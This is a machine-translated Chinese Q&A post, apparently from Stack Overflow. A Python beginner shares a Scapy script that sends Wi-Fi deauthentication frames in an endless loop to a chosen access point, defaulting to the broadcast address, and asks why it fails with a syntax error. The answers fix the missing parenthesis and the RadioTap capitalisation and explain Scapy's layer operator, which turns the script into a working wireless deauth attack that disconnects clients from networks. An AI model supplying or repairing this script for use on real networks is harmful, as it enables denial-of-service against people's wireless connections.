所以我正在测试这段代码,(我对python来说相当新), 但我尝试用python 2.7.6和python3运行它们,他们都给了我这个错误
虽然是真的: ^ SyntaxError:语法无效
(箭头指向while)
这是代码
import time
from scapy.all import *
iface = "mon0"
timeout = 1
if len(sys.argv) < 2:
print (sys.argv[0] + " <bssid> [client]")
sys.exit(0)
else:
bssid = sys.argv[1]
if len(sys.argv) == 3:
dest = sys.argv[2]
else:
dest = "ff:ff:ff:ff:ff:ff"
pkt = radioTap() / \
Dot11(subtype=0xc,
addr1=dest, addr2=bssid, addr3=bssid / \
Dot11Deauth(reason=3)
while True:
print ("Sending deauth to " + dest)
sendp(pkt,iface=iface)
time.sleep(timeout)
如果有人也可以解释那里有什么&#34; / \&#34;在python做,感恩不过。
干杯
答案 0 :(得分:0)
缺少右括号
pkt = radioTap() / \
Dot11(subtype=0xc,
addr1=dest, addr2=bssid, addr3=bssid) / \
Dot11Deauth(reason=3)
符号\
用于将长行分成较短的行,例如
if a == True and \
b == False
中的运算符/
已超载
/运算符已被用作两层之间的合成运算符。这样做时,较低层可以根据上层重载其一个或多个默认字段。 (你仍然可以给出你想要的价值)。
还有输入错误:RadioTap()
应以大写字母R开头
答案 1 :(得分:0)
试试这样:
while (True):
print ("Sending deauth to " + dest)
sendp(pkt,iface=iface)
time.sleep(timeout)